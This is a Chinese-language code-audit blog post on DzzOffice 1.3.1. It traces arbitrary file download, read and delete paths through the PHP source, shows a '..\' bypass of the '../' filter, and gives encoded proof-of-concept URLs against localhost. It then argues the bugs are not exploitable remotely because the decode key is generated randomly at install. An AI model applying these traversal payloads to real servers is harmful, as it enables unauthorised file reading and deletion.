dzzoffice1.3.1任意文件下载/读取/删除(假洞)
ps:看补天出现了几个dzzoffice的任意文件下载,跟了下代码,估摸着是我下面说的这类洞,不过是假洞,纯属紫薇。
0x01、任意文件下载
在C:\phpStudy\WWW\dzz\attach\view.php中
if(!$path=dzzdecode(trim($_GET['s']))){
exit('Access Denied');
}
if($_GET['a']=='down'){
IO::download($path);
exit();
}
可以看到获取变量s,用dzzdecode函数解密赋给变量path,然后带入到了第13行中的download函数,跟一下该函数,在C:\phpStudy\WWW\core\class\dzz\dzz_io.php中,
public function download($paths,$filename=''){
$paths=(array)$paths;
$paths=self::clean($paths);
if($io=self::initIO($paths[0])) $io->download($paths,$filename);
else return false;
}
可以看到用clean函数对传进来的$paths进行过滤,跟一下该函数,在C:\phpStudy\WWW\core\class\dzz\dzz_io.php中,
public function clean($str) {//清除路径
if(is_array($str)){
foreach($str as $key=> $value){
$str[$key]=str_replace(array( "\n", "\r", '../'), '', $value);
}
}else{
$str= str_replace(array( "\n", "\r", '../'), '', $str);
}
return $str;
}
可以看到过滤了../,但是我们可以用..\来绕过。接着调用self::initIO函数来返回一个要调用的类,
protected function initIO($path){
$path=self::clean($path);
$bzarr=explode(':',$path);
$allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS','disk');
if(strpos($path,'dzz::')!==false){
$classname= 'io_dzz';
}elseif(strpos($path,'attach::')!==false){
$classname= 'io_dzz';
}elseif(strpos($path,'TMP::')!==false){
$classname= 'io_dzz';
}elseif(is_numeric($bzarr[0])){
$classname= 'io_dzz';
}elseif(in_array($bzarr[0],$allowbz)){
$classname= 'io_'.$bzarr[0];
}else{
return false;
}
return new $classname($path);
}
此时可以控制$path来确定返回的类,需要返回io_dzz类。
回到前面的download函数中,可以看到在initIO函数执行后,调用了
$io->download($paths,$filename);
来下载文件,跟一下download函数,因为此时$io是io_dzz类,所以download函数在C:\phpStudy\WWW\core\class\io\io_dzz.php中,
public function download($paths,$filename){
global $_G;
$paths=(array)$paths;
if(count($paths)>1){
self::zipdownload($paths,$filename);
exit();
}else{
$path=$paths[0];
}
@set_time_limit(0);
$attachexists = FALSE;
if(strpos($path,'attach::')===0){
$attachment=C::t('attachment')->fetch(intval(str_replace('attach::','',$path)));
$attachment['name']=$filename?$filename:$attachment['filename'];
$path=getDzzPath($attachment);
$attachurl=IO::getStream($path);
}elseif(strpos($path,'dzz::')===0){
$attachment=array('attachment'=>preg_replace("/^dzz::/i",'',$path),'name'=>$filename?$filename:substr(strrpos($path, '/')));
$attachurl=$_G['setting']['attachdir'].$attachment['attachment'];
}elseif(strpos($path,'TMP::')===0){
$tmp=str_replace('\\','/',sys_get_temp_dir());
$attachurl= str_replace('TMP::',$tmp.'/',$path);
$pathinfo=pathinfo($attachurl);
$attachment=array('attachment'=>$attachurl,'name'=>$filename?$filename:$pathinfo['basename']);
}elseif(is_numeric($path)){
$icoid=intval($path);
$icoarr = C::t('icos')->fetch_by_icoid($path);
if(!$icoarr['icoid']){
topshowmessage(lang('attachment_nonexistence'));
}elseif($icoarr['type']=='folder'){
self::zipdownload($path);
exit();
}
if(!$icoarr['aid']){
topshowmessage(lang('attachment_nonexistence'));
}
$attachment=$icoarr;
$attachurl=IO::getStream($path);
}
可以看到如果$path是以attach字符开头,则进入第一个if中,如果是以dzz开头,则进入elseif中,如果是以TMP开头,则进入第二个elseif中,其中第一个第二个elseif都有漏洞,先以第一个elseif为例:在第587行将$path中的dzz::替换为空,然后赋给$attachment,然后跟$_G'setting'拼接形成$attachurl,核心就是控制这个$attachurl,之后在第620行,621行进行具体的文件下载。
这里有个问题,我们把$_G'setting'输出,可以看到其值为C:/phpStudy/WWW/./data/attachment/
这个路径直接在windows上操作是不存在的,
如果再加上我们跳转的目录,且是反斜杠跳转的目录,最终的变量attachurl如果控制为:
C:/phpStudy/WWW/./data/attachment/..\..\..\..\..\phpStudy\WWW\web.config
则更报错。
但是在windows环境下php的执行过程中,是正确的,可以任意文件读取,我猜测,是php自动处理过了目录,最后消除了./和..\,只要是存在的文件,不论怎么写跳转都是可以读取的
那么如果我们想下载web根目录下的web.config文件,则先用
echo dzzencode('dzz::..\..\..\..\..\phpStudy\WWW\web.config');
得到编码后的变量,也即是变量s,
OUNFT1BpRFFxRExWbm1QRzVETVBLUHBhcXp6cWc4a3otUDU2RHNKX2xNMi02VWxvOEV4QW0zaEFWTEF0QTl0OFVpb2FyeGxna2pybk9NQVc0SEhqQlBTYXNNRUg
解码后变量$paths是以dzz::开头的,所以调用io_dzz类,然后经过后面的一系列操作,成功下载文件web.config。
访问:
http://localhost/index.php?mod=attach&op=view&a=down&s=OUNFT1BpRFFxRExWbm1QRzVETVBLUHBhcXp6cWc4a3otUDU2RHNKX2xNMi02VWxvOEV4QW0zaEFWTEF0QTl0OFVpb2FyeGxna2pybk9NQVc0SEhqQlBTYXNNRUg=
文件名被命名为index.php,但其内容是web.config的内容
成功读取web.config文件。
0x02、任意文件读取
在C:\phpStudy\WWW\dzz\attach\view.php中,
在该文件的第一行获取变量s,并解码赋给变量path,然后在第79行,
//获取文件流地址
if(!$url=(IO::getStream($path))){
exit(lang('failed_get_file'));
}
if(is_array($url)) exit($url['error']);
//如果是阻止运行的后缀名时,直接调用;
if($ext && in_array($ext,$_G['setting']['unRunExts'])){
$mime='text/plain';
}else{
$mime=dzz_mime::get_type($ext);
}
@set_time_limit(0);
@header('Content-Type: '.$mime);
@ob_end_clean();
@readfile($url);
@flush();
@ob_flush();
exit();
调用了IO::getStream函数,
//获取文件流地址
public function getStream($path,$fop=''){
global $_G;
if(strpos($path,'attach::')===0){
$attach=C::t('attachment')->fetch(intval(str_replace('attach::','',$path)));
$bz=io_remote::getBzByRemoteid($attach['remote']);
if($bz=='dzz'){
if($icoarr['type']=='video' || $icoarr['type']=='dzzdoc' || $icoarr['type']=='link'){
return $icoarr['url'];
}
return $_G['setting']['attachdir'].$attach['attachment'];
}else{
return IO::getStream($bz.'/'.$attach['attachment'],$fop);
}
}elseif(strpos($path,'dzz::')===0){
if(strpos($icoid,'../')!==false) return '';
return $_G['setting']['attachdir'].preg_replace("/^dzz::/",'',$path);
}elseif(strpos($path,'TMP::')===0){
$tmp=str_replace('\\','/',sys_get_temp_dir());
return str_replace('TMP::',$tmp.'/',$path);
}elseif(is_numeric($path)){
$icoarr=C::t('icos')->fetch_by_icoid($path);
$bz=io_remote::getBzByRemoteid($icoarr['remote']);
if($bz=='dzz'){
if($icoarr['type']=='video' || $icoarr['type']=='dzzdoc' || $icoarr['type']=='link'){
return $icoarr['url'];
}
return $_G['setting']['attachdir'].$icoarr['attachment'];
}else{
return IO::getStream($bz.'/'.$icoarr['attachment'],$fop);
}
}else{
return $path;
}
return '';
}
看第155行,也即是最后一个else,如果不满足前面的几个if,elseif,则直接return $path,原封不动的返回路径,完全可控。
然后在第93行,直接调用了readfile函数
@readfile($url);
进行了文件读取。
如果我们要读取的是index.php文件,则用
echo dzzencode('C:\phpStudy\WWW\index.php');
得到编码后的变量:
OUNFT1BpRFFxRExWbm1LUTZHWUlMYWxlX2pfdmdNZ3o5ZjVkVHVRMXhwUER3UklpMVQ0NWtBRXlZZkJuT3RNNlVoRWU=
然后访问:
http://localhost/index.php?mod=attach&op=view&s=OUNFT1BpRFFxRExWbm1LUTZHWUlMYWxlX2pfdmdNZ3o5ZjVkVHVRMXhwUER3UklpMVQ0NWtBRXlZZkJuT3RNNlVoRWU=
读取成功
0x03 任意文件删除
在C:\phpStudy\WWW\dzz\dzz\system\dzzcp.php中大约第230行,
elseif($do=='deleteIco'){
$arr=array();
$names=array();
$i=0;
$icoids=$_GET['icoids'];
$bz=trim($_GET['bz']);
foreach($icoids as $icoid){
$icoid=dzzdecode($icoid);
if(empty($icoid)){
continue;
}
if(strpos($icoid,'../')!==false){
$arr['msg'][$return['icoid']]=lang('illegal_calls');
}else{
$return=IO::Delete($icoid);
跟踪$icoid,
$return=IO::Delete($icoid);
最终调用了C:\phpStudy\WWW\dzz\core\class\io\io_dzz.php中的Delete函数,
public function Delete($icoid,$force=false){
global $_G;
if(strpos($icoid,'dzz::')===0){
if(strpos($icoid,'../')!==false) return false;
@unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
return true;
}elseif(strpos($icoid,'attach::')===0){
if(strpos($icoid,'../')!==false) return false;
return C::t('attachment')->delete_by_aid(intval(str_replace('attach::','',$icoid)));
}elseif(strpos($icoid,'TMP::')===0){
$tmp=str_replace('\\','/',sys_get_temp_dir());
return @unlink(str_replace('TMP::',$tmp.'/',$path));
}else{
可以看到几个unlink里面的$icoid都是可控的,可以做到任意文件删除
0x04 为什么说是假洞?
这类洞的开始都是用
if(!$path=dzzdecode(trim($_GET['s']))){
exit('Access Denied');
}
dzzdecode等解密函数来解密输入的变量,我们很多时候认为加解密可逆,用dzzencode等加密函数即可得到我们想要的,然后本地测试成功了就提交漏洞了,很多时候这只是本地自慰,因为加解密函数中的key并不一定是硬编码,可能在程序安装的时候随机生成的,各个站点的key都不一样,所以你的加密后的数值拿到其他站点测试,并不会被成功解密,所以本地测试成功不一定是真洞。
现在来跟一下dzzdecode函数,
function dzzdecode($string,$key='',$ckey_length=0){
if($key){
$tarr=explode('|',$key);
foreach($tarr as $key => $v){
if(getglobal($v)) $tarr[$key]=getglobal($v);
}
$key=implode('|',$tarr);
}
$key = md5($key != '' ? $key : getglobal('setting/authkey'));
if(!$ret=authcode(base64_decode($string),'DECODE',$key,0,$ckey_length)){
$ret=authcode(base64_decode($string),'DECODE',$key,0,4);
}
return $ret;
}
其中
$key = md5($key != '' ? $key : getglobal('setting/authkey'));
$key由getglobal函数生成,在C:\phpStudy\WWW\core\function\function_core.php中,
function getglobal($key, $group = null) {
global $_G;
$key = explode('/', $group === null ? $key : $group.'/'.$key);
$v = &$_G;
foreach ($key as $k) {
if (!isset($v[$k])) {
return null;
}
$v = &$v[$k];
}
return $v;
}
我的本地getglobal函数返回的字符串为457da0wybMUw7PG3
,在C:\phpStudy\WWW\core\config\config.php中,是由程序安装时随机生成的,跟一下安装时的生成过程,在安装包中的\install\index.php中,该文件安装后被自动删除了。
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
其中
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
生成authkey,random函数在\install\include\install_function.php中
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
安装时完全随机生成key,导致本地成功的加解密只是本地紫薇,不信你拿本地的生成的poc去demo站试试-.-,估摸着补天几个洞都是假的,审核也是假的